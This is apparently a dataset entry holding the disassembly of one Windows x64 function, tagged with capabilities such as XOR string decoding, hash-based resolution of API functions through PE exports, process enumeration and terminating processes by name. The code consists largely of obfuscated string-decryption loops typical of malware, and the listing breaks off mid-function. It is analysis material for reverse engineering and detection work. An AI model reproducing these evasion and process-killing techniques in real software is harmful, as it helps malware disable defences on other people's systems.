Function at 0x140002980
Capabilities:
Access peb ldr_data
Encode data using xor
Enumerate processes
Hash data using fnv
Resolve function by parsing pe exports
Terminate process
Terminate process by name

Disassembly:
push rbx
push rsi
push rdi
push r13
sub rsp, 0x4f8
mov rax, qword [0x140010040]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
mov rax, qword gs:[0x58]
xor esi, esi
mov ecx, 0x98
mov edi, 0x12
mov r10d, 0x460
mov r11, qword [rax]
mov eax, dword [rcx + r11]
test al, 1
jne 0x140002a9f
mov qword [r11 + r10], rsi
or eax, 1
mov word [r11 + r10 + 8], si
mov byte [r11 + r10 + 0xa], sil
mov dword [rcx + r11], eax
mov rcx, qword [0x14000c950]
mov rax, qword [0x14000c948]
shr rax, 0x20
mov word [r11 + r10 + 0xc], ax
movzx eax, word [0x14000c94e]
mov word [r11 + r10 + 0xe], ax
mov rax, rcx
mov word [r11 + r10 + 0x10], 0x1d
shr rax, 0x10
mov word [r11 + r10 + 0x12], ax
movzx eax, word [0x14000c956]
shr rcx, 0x20
mov word [r11 + r10 + 0x14], cx
mov rcx, qword [0x14000c958]
mov word [r11 + r10 + 0x16], ax
mov rax, rcx
mov word [r11 + r10 + 0x18], di
shr rax, 0x10
mov word [r11 + r10 + 0x1a], ax
movzx eax, word [0x14000c95e]
shr rcx, 0x20
mov word [r11 + r10 + 0x1c], cx
mov word [r11 + r10 + 0x1e], ax
mov dword [r11 + r10 + 0x20], 0xac00e5
mov dword [r11 + r10 + 0x24], 0xbb00fa
mov dword [r11 + r10 + 0x28], 0xda00b2
mov dword [r11 + r10 + 0x2c], 0xb300b0
mov dword [r11 + r10 + 0x30], 0xec00a6
mov dword [r11 + r10 + 0x34], 0xee00f2
mov word [r11 + r10 + 0x38], 0x8c
cmp byte [r11 + r10 + 0xa], sil
jne 0x140002b4d
lea r9, [r10 + 0xc]
mov edx, esi
add r9, r11
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r11 + r10 + 4]
mov r8d, dword [r11 + r10]
lea eax, [rcx + 1]
cmp r8d, eax
jne 0x140002ae2
movsxd rax, edx
inc cx
xor word [r9 + rax*2], cx
inc dword [r11 + r10]
jmp 0x140002ac0
lea eax, [rcx + 2]
cmp r8d, eax
jne 0x140002afc
movsxd rax, edx
add cx, 2
xor word [r9 + rax*2], cx
inc dword [r11 + r10]
jmp 0x140002ac0
cmp r8d, ecx
je 0x140002b35
lea eax, [rcx + 4]
cmp r8d, eax
jne 0x140002b1b
movsxd rax, edx
add cx, 3
xor word [r9 + rax*2], cx
inc dword [r11 + r10]
jmp 0x140002ac0
lea eax, [rcx + 5]
cmp r8d, eax
jne 0x140002b42
movsxd rax, edx
add cx, 4
xor word [r9 + rax*2], cx
inc dword [r11 + r10]
jmp 0x140002ac0
movsxd rax, edx
lea rcx, [r9 + rax*2]
lea eax, [rdx + 0x76]
xor word [rcx], ax
inc edx
cmp edx, 0x17
jb 0x140002ac0
lea rax, [r10 + 0xc]
mov ecx, 0x454
add rax, r11
mov byte [r11 + r10 + 0xa], 1
mov qword [rsp + 0x4a0], rax
mov ebx, 0x82
mov rax, qword gs:[0x58]
mov edx, 0x5f0
mov r8, qword [rax]
mov eax, dword [rcx + r8]
test al, 1
jne 0x140002c2c
or eax, 1
mov qword [r8 + rdx], rsi
mov dword [rcx + r8], eax
mov rcx, qword [0x14000c7e8]
mov rax, qword [0x14000c7e0]
mov word [r8 + rdx + 8], si
mov byte [r8 + rdx + 0xa], sil
shr rax, 0x20
mov word [r8 + rdx + 0xc], ax
movzx eax, word [0x14000c7e6]
mov word [r8 + rdx + 0xe], ax
mov rax, rcx
mov word [r8 + rdx + 0x10], 0x15
shr rax, 0x10
mov word [r8 + rdx + 0x12], ax
movzx eax, word [0x14000c7ee]
shr rcx, 0x20
mov word [r8 + rdx + 0x14], cx
mov rcx, qword [0x14000c7f0]
mov word [r8 + rdx + 0x16], ax
mov rax, rcx
mov word [r8 + rdx + 0x18], 0x1a
shr rax, 0x10
mov word [r8 + rdx + 0x1a], ax
movzx eax, word [0x14000c7f6]
shr rcx, 0x20
mov word [r8 + rdx + 0x1c], cx
mov word [r8 + rdx + 0x1e], ax
mov dword [r8 + rdx + 0x20], 0x8200e4
add r8, rdx
cmp byte [r8 + 0xa], sil
jne 0x140002f6e
mov edx, esi
nop dword [rax + rax]
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x140002c60
movsxd rax, edx
inc cx
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x140002c40
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x140002c7a
movsxd rax, edx
add cx, 2
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x140002c40
cmp r9d, ecx
je 0x140002cb3
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x140002c99
movsxd rax, edx
add cx, 3
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x140002c40
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x140002cc1
movsxd rax, edx
add cx, 4
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x140002c40
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x77]
xor word [rcx + 0xc], ax
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x140002ce1
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0xe], cx
inc dword [r8]
jmp 0x140002cc1
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x140002cfb
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0xe], cx
inc dword [r8]
jmp 0x140002cc1
cmp r9d, ecx
je 0x140002d34
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x140002d1a
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0xe], cx
inc dword [r8]
jmp 0x140002cc1
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x140002d50
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0xe], cx
inc dword [r8]
jmp 0x140002cc1
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x78]
xor word [rcx + 0xe], ax
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x140002d70
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0x10], cx
inc dword [r8]
jmp 0x140002d50
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x140002d8a
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0x10], cx
inc dword [r8]
jmp 0x140002d50
cmp r9d, ecx
je 0x140002dc3
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x140002da9
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0x10], cx
inc dword [r8]
jmp 0x140002d50
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x140002dd1
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0x10], cx
inc dword [r8]
jmp 0x140002d50
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x79]
xor word [rcx + 0x10], ax
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x140002df1
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0x12], cx
inc dword [r8]
jmp 0x140002dd1
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x140002e0b
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0x12], cx
inc dword [r8]
jmp 0x140002dd1
cmp r9d, ecx
je 0x140002e44
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x140002e2a
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0x12], cx
inc dword [r8]
jmp 0x140002dd1
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x140002e60
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0x12], cx
inc dword [r8]
jmp 0x140002dd1
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x7a]
xor word [rcx + 0x12], ax
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x140002e80
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0x14], cx
inc dword [r8]
jmp 0x140002e60
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x140002e9a
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0x14], cx
inc dword [r8]
jmp 0x140002e60
cmp r9d, ecx
je 0x140002ed3
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x140002eb9
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0x14], cx
inc dword [r8]
jmp 0x140002e60
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x140002ee1
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0x14], cx
inc dword [r8]
jmp 0x140002e60
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x7b]
xor word [rcx + 0x14], ax
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x140002f01
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0x16], cx
inc dword [r8]
jmp 0x140002ee1
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x140002f1b
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0x16], cx
inc dword [r8]
jmp 0x140002ee1
cmp r9d, ecx
je 0x140002f54
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x140002f3a
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0x16], cx
inc dword [r8]
jmp 0x140002ee1
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x140002f62
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0x16], cx
inc dword [r8]
jmp 0x140002ee1
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x7c]
xor word [rcx + 0x16], ax
add edx, 6
cmp edx, 0xc
jb 0x140002c40
lea rax, [r8 + 0xc]
mov byte [r8 + 0xa], 1
mov qword [rsp + 0x4a8], rax
mov rax, qword gs:[0x58]
mov ecx, 0x9c
mov edx, 0x368
mov r8, qword [rax]
mov eax, dword [rcx + r8]
test al, 1
jne 0x14000301b
or eax, 1
mov qword [r8 + rdx], rsi
mov dword [rcx + r8], eax
mov r9d, 0x18
mov rcx, qword [0x14000cac8]
mov rax, qword [0x14000cac0]
mov word [r8 + rdx + 8], si
mov byte [r8 + rdx + 0xa], sil
shr rax, 0x20
mov word [r8 + rdx + 0xc], ax
movzx eax, word [0x14000cac6]
mov word [r8 + rdx + 0xe], ax
mov rax, rcx
mov word [r8 + rdx + 0x10], r9w
shr rax, 0x10
mov word [r8 + rdx + 0x12], ax
movzx eax, word [0x14000cace]
shr rcx, 0x20
mov word [r8 + rdx + 0x14], cx
mov word [r8 + rdx + 0x16], ax
movzx eax, word [0x14000cad2]
mov word [r8 + rdx + 0x18], r9w
mov word [r8 + rdx + 0x1a], ax
add r8, rdx
cmp byte [r8 + 0xa], sil
jne 0x14000324e
mov edx, esi
nop word [rax + rax]
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x140003050
movsxd rax, edx
inc cx
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x140003030
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x14000306a
movsxd rax, edx
add cx, 2
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x140003030
cmp r9d, ecx
je 0x1400030a3
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x140003089
movsxd rax, edx
add cx, 3
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x140003030
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x1400030b1
movsxd rax, edx
add cx, 4
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x140003030
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x77]
xor word [rcx + 0xc], ax
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x1400030d1
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0xe], cx
inc dword [r8]
jmp 0x1400030b1
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x1400030eb
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0xe], cx
inc dword [r8]
jmp 0x1400030b1
cmp r9d, ecx
je 0x140003124
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x14000310a
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0xe], cx
inc dword [r8]
jmp 0x1400030b1
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x140003140
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0xe], cx
inc dword [r8]
jmp 0x1400030b1
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x78]
xor word [rcx + 0xe], ax
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x140003160
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0x10], cx
inc dword [r8]
jmp 0x140003140
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x14000317a
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0x10], cx
inc dword [r8]
jmp 0x140003140
cmp r9d, ecx
je 0x1400031b3
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x140003199
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0x10], cx
inc dword [r8]
jmp 0x140003140
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x1400031c1
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0x10], cx
inc dword [r8]
jmp 0x140003140
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x79]
xor word [rcx + 0x10], ax
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x1400031e1
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0x12], cx
inc dword [r8]
jmp 0x1400031c1
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x1400031fb
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0x12], cx
inc dword [r8]
jmp 0x1400031c1
cmp r9d, ecx
je 0x140003234
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x14000321a
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0x12], cx
inc dword [r8]
jmp 0x1400031c1
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x140003242
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0x12], cx
inc dword [r8]
jmp 0x1400031c1
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x7a]
xor word [rcx + 0x12], ax
add edx, 4
cmp edx, 8
jb 0x140003030
lea rax, [r8 + 0xc]
mov byte [r8 + 0xa], 1
mov qword [rsp + 0x4b0], rax
mov rax, qword gs:[0x58]
mov ecx, 0x2b4
mov edx, 0x4d0
mov r8, qword [rax]
mov eax, dword [rcx + r8]
test al, 1
jne 0x14000331d
or eax, 1
mov qword [r8 + rdx], rsi
mov dword [rcx + r8], eax
mov r9d, 0x1b
mov rcx, qword [str.eMHSe_a]
mov rax, qword [0x14000c668]
mov word [r8 + rdx + 8], si
mov byte [r8 + rdx + 0xa], sil
shr rax, 0x20
mov word [r8 + rdx + 0xc], ax
movzx eax, word [0x14000c66e]
mov word [r8 + rdx + 0xe], ax
mov rax, rcx
mov word [r8 + rdx + 0x10], r9w
shr rax, 0x10
mov word [r8 + rdx + 0x12], ax
movzx eax, word [0x14000c676]
shr rcx, 0x20
mov word [r8 + rdx + 0x14], cx
mov rcx, qword [0x14000c678]
mov word [r8 + rdx + 0x16], ax
mov rax, rcx
shr rax, 0x10
mov word [r8 + rdx + 0x18], r9w
mov word [r8 + rdx + 0x1a], ax
movzx eax, word [0x14000c67e]
shr rcx, 0x20
mov word [r8 + rdx + 0x1c], cx
mov word [r8 + rdx + 0x1e], ax
add r8, rdx
cmp byte [r8 + 0xa], sil
jne 0x1400035dd
mov edx, esi
nop dword [rax]
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x140003350
movsxd rax, edx
inc cx
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x140003330
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x14000336a
movsxd rax, edx
add cx, 2
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x140003330
cmp r9d, ecx
je 0x1400033a3
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x140003389
movsxd rax, edx
add cx, 3
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x140003330
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x1400033b1
movsxd rax, edx
add cx, 4
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x140003330
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x78]
xor word [rcx + 0xc], ax
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x1400033d1
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0xe], cx
inc dword [r8]
jmp 0x1400033b1
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x1400033eb
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0xe], cx
inc dword [r8]
jmp 0x1400033b1
cmp r9d, ecx
je 0x140003424
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x14000340a
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0xe], cx
inc dword [r8]
jmp 0x1400033b1
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x140003440
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0xe], cx
inc dword [r8]
jmp 0x1400033b1
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x79]
xor word [rcx + 0xe], ax
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x140003460
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0x10], cx
inc dword [r8]
jmp 0x140003440
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x14000347a
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0x10], cx
inc dword [r8]
jmp 0x140003440
cmp r9d, ecx
je 0x1400034b3
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x140003499
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0x10], cx
inc dword [r8]
jmp 0x140003440
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x1400034c1
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0x10], cx
inc dword [r8]
jmp 0x140003440
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x7a]
xor word [rcx + 0x10], ax
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x1400034e1
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0x12], cx
inc dword [r8]
jmp 0x1400034c1
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x1400034fb
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0x12], cx
inc dword [r8]
jmp 0x1400034c1
cmp r9d, ecx
je 0x140003534
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x14000351a
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0x12], cx
inc dword [r8]
jmp 0x1400034c1
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x140003550
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0x12], cx
inc dword [r8]
jmp 0x1400034c1
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x7b]
xor word [rcx + 0x12], ax
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x140003570
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0x14], cx
inc dword [r8]
jmp 0x140003550
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x14000358a
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0x14], cx
inc dword [r8]
jmp 0x140003550
cmp r9d, ecx
je 0x1400035c3
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x1400035a9
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0x14], cx
inc dword [r8]
jmp 0x140003550
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x1400035d1
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0x14], cx
inc dword [r8]
jmp 0x140003550
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x7c]
xor word [rcx + 0x14], ax
add edx, 5
cmp edx, 0xa
jb 0x140003330
lea rax, [r8 + 0xc]
mov byte [r8 + 0xa], 1
mov qword [rsp + 0x4b8], rax
mov rax, qword gs:[0x58]
mov ecx, 0xa8
mov edx, 0x5c8
mov r8, qword [rax]
mov eax, dword [rcx + r8]
test al, 1
jne 0x1400036b3
or eax, 1
mov qword [r8 + rdx], rsi
mov dword [rcx + r8], eax
mov rcx, qword [0x14000c990]
mov rax, qword [0x14000c988]
mov word [r8 + rdx + 8], si
mov byte [r8 + rdx + 0xa], sil
shr rax, 0x20
mov word [r8 + rdx + 0xc], ax
movzx eax, word [0x14000c98e]
mov word [r8 + rdx + 0xe], ax
mov rax, rcx
mov word [r8 + rdx + 0x10], 0x1e
shr rax, 0x10
mov word [r8 + rdx + 0x12], ax
movzx eax, word [0x14000c996]
shr rcx, 0x20
mov word [r8 + rdx + 0x14], cx
mov rcx, qword [0x14000c998]
mov word [r8 + rdx + 0x16], ax
mov rax, rcx
mov word [r8 + rdx + 0x18], 0x4c
shr rax, 0x10
mov word [r8 + rdx + 0x1a], ax
movzx eax, word [0x14000c99e]
shr rcx, 0x20
mov word [r8 + rdx + 0x1c], cx
mov word [r8 + rdx + 0x1e], ax
mov dword [r8 + rdx + 0x20], 0x8300e7
add r8, rdx
cmp byte [r8 + 0xa], sil
jne 0x1400039fe
mov edx, esi
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x1400036f0
movsxd rax, edx
inc cx
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x1400036d0
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x14000370a
movsxd rax, edx
add cx, 2
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x1400036d0
cmp r9d, ecx
je 0x140003743
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x140003729
movsxd rax, edx
add cx, 3
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x1400036d0
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x140003751
movsxd rax, edx
add cx, 4
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x1400036d0
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x78]
xor word [rcx + 0xc], ax
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x140003771
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0xe], cx
inc dword [r8]
jmp 0x140003751
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x14000378b
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0xe], cx
inc dword [r8]
jmp 0x140003751
cmp r9d, ecx
je 0x1400037c4
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x1400037aa
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0xe], cx
inc dword [r8]
jmp 0x140003751
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x1400037e0
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0xe], cx
inc dword [r8]
jmp 0x140003751
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x79]
xor word [rcx + 0xe], ax
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x140003800
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0x10], cx
inc dword [r8]
jmp 0x1400037e0
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x14000381a
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0x10], cx
inc dword [r8]
jmp 0x1400037e0
cmp r9d, ecx
je 0x140003853
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x140003839
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0x10], cx
inc dword [r8]
jmp 0x1400037e0
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x140003861
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0x10], cx
inc dword [r8]
jmp 0x1400037e0
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x7a]
xor word [rcx + 0x10], ax
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x140003881
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0x12], cx
inc dword [r8]
jmp 0x140003861
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x14000389b
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0x12], cx
inc dword [r8]
jmp 0x140003861
cmp r9d, ecx
je 0x1400038d4
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x1400038ba
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0x12], cx
inc dword [r8]
jmp 0x140003861
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x1400038f0
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0x12], cx
inc dword [r8]
jmp 0x140003861
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x7b]
xor word [rcx + 0x12], ax
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x140003910
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0x14], cx
inc dword [r8]
jmp 0x1400038f0
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x14000392a
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0x14], cx
inc dword [r8]
jmp 0x1400038f0
cmp r9d, ecx
je 0x140003963
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x140003949
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0x14], cx
inc dword [r8]
jmp 0x1400038f0
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x140003971
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0x14], cx
inc dword [r8]
jmp 0x1400038f0
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x7c]
xor word [rcx + 0x14], ax
mov ecx, dword [r8 + 4]
mov r9d, dword [r8]
lea eax, [rcx + 1]
cmp r9d, eax
jne 0x140003991
inc cx
movsxd rax, edx
xor word [r8 + rax*2 + 0x16], cx
inc dword [r8]
jmp 0x140003971
lea eax, [rcx + 2]
cmp r9d, eax
jne 0x1400039ab
add cx, 2
movsxd rax, edx
xor word [r8 + rax*2 + 0x16], cx
inc dword [r8]
jmp 0x140003971
cmp r9d, ecx
je 0x1400039e4
lea eax, [rcx + 4]
cmp r9d, eax
jne 0x1400039ca
add cx, 3
movsxd rax, edx
xor word [r8 + rax*2 + 0x16], cx
inc dword [r8]
jmp 0x140003971
lea eax, [rcx + 5]
cmp r9d, eax
jne 0x1400039f2
add cx, 4
movsxd rax, edx
xor word [r8 + rax*2 + 0x16], cx
inc dword [r8]
jmp 0x140003971
movsxd rax, edx
lea rcx, [r8 + rax*2]
lea eax, [rdx + 0x7d]
xor word [rcx + 0x16], ax
add edx, 6
cmp edx, 0xc
jb 0x1400036d0
lea rax, [r8 + 0xc]
mov ecx, 0x208
mov qword [rsp + 0x4c0], rax
mov rax, qword gs:[0x58]
mov byte [r8 + 0xa], 1
mov r10d, 0x5a0
mov r11, qword [rax]
mov eax, dword [rcx + r11]
test al, 1
jne 0x140003ad2
or eax, 1
mov qword [r11 + r10], rsi
mov dword [rcx + r11], eax
mov rcx, qword [0x14000caa0]
mov rax, qword [0x14000ca98]
mov word [r11 + r10 + 8], si
mov byte [r11 + r10 + 0xa], sil
shr rax, 0x20
mov word [r11 + r10 + 0xc], ax
movzx eax, word [0x14000ca9e]
mov word [r11 + r10 + 0xe], ax
mov rax, rcx
mov word [r11 + r10 + 0x10], 0x4e
shr rax, 0x10
mov word [r11 + r10 + 0x12], ax
movzx eax, word [0x14000caa6]
shr rcx, 0x20
mov word [r11 + r10 + 0x14], cx
mov rcx, qword [0x14000caa8]
mov word [r11 + r10 + 0x16], ax
mov rax, rcx
mov word [r11 + r10 + 0x18], 0x50
shr rax, 0x10
mov word [r11 + r10 + 0x1a], ax
movzx eax, word [0x14000caae]
shr rcx, 0x20
